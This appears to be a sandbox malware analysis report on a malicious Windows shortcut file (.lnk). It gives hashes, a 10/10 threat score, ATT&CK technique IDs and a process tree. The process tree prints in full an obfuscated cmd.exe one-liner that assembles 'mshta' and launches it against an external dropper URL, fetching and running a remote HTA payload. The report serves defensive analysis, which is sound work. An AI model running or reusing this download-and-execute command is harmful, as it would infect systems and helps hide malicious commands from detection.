00663306ab1f27ff43076764a5bdd96338628b11b3beabc78bc1a5b18292e575

Analysis

max time kernel
148s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:34

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General

Target
DOC-BCX9G7.lnk
Size 1KB
Sample260803-qvctxazfjd
SHA256 00663306ab1f27ff43076764a5bdd96338628b11b3beabc78bc1a5b18292e575
MD5 8fd5c7d164ae2b6313280604077a009e
SHA1 7bc5373cc0cbf13293fba60e2df140dd98ad770c
SHA512 66a1be390d0e01f3d36780eb6912eac715022ec64d721486db84645f1d7dd0296970c734dc8ef3720fd9af7c9f4e56cf57a86769d14f61a7e2a901b6017c46d3
TLSH
T1143197502FFD0624F3F78E3399BB571084BBB8568E20C61D00514A0C1032A04E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5732	cmd.exe
2332	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5732 wrote to memory of 2332	5732	cmd.exe	90
PID 2332 wrote to memory of 2152	2332	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BCX9G7.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5732
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set KmkAl=msh&&set Ffgf=ta&&start "" !KmkAl!!Ffgf! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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